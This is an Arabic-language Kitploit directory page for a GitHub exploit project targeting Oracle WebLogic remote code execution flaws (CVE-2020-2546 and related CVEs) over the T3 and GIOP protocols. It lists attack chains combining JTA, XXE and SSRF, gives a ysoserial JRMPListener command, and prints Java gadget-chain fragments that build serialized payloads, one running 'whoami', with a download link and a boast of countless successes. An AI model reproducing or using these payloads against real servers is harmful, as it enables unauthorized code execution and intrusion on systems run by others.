Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE_2020_2546 — CVE-2020-2546، CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 استغلال حمولة T3 في WebLogic مع سكربت PoC بلغة Python3. | Kitploit
أدوات/GitHubGitHub/hktalent/cve_2020_2546
أطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubhktalent/cve_2020_2546

CVE_2020_2546

CVE-2020-2546، CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 استغلال حمولة T3 في WebLogic مع سكربت PoC بلغة Python3.

عرض المستودع
13327منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Twitter: @Hktalent3135773 Tweet Follow on Twitter

1. استغلال Weblogic RCE

CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3

2. استغلال

  • GIOP + send bind (CVE-2020-2555، CVE-2019-2888، CVE-2019-2888<XXE+SSRF> أو غيرها)
  • GIOP + send jta (rmi أو غيرها)
  • GIOP + send jta + SSRF
  • T3 + send jta
  • T3 + send jta + SSRF
  • T3 + send XXE
  • T3 + send XXE + SSRF

2.1. rmi server، انظر

  • لا تستخدم org.mozilla.classfile.DefiningClassLoader
  • لا تستخدم java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami' للمزيد انظر: https://github.com/hktalent/CVE-2020-2551

3. الكود

3.1. كود1

root@kitploit:~
MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
		ObjectOutputStream oo = new ObjectOutputStream(System.out); 
		oo.writeObject(o);
		oo.flush();

3.2. كود2

root@kitploit:~
public MsgOutput getObject(final String command) throws Exception {
	  String jndiAddress = command;
		JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
		jtaTransactionManager.setUserTransactionName(jndiAddress);
		MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
    return remote;
  }

3.3. كود3

root@kitploit:~
public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
    return ior;
  }

3.4. كود4

root@kitploit:~
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl

3.5. كود CVE-2020-2883

https://github.com/hktalent/CVE_2020_2546/issues/4

2883

صورة

4. CVE-2020-2546 payload

دفعة واحدة، نجاحات لا تُحصى

صورة صورة

5. شكرًا لـ

@r4v3zn @0nise

تنزيل الأداة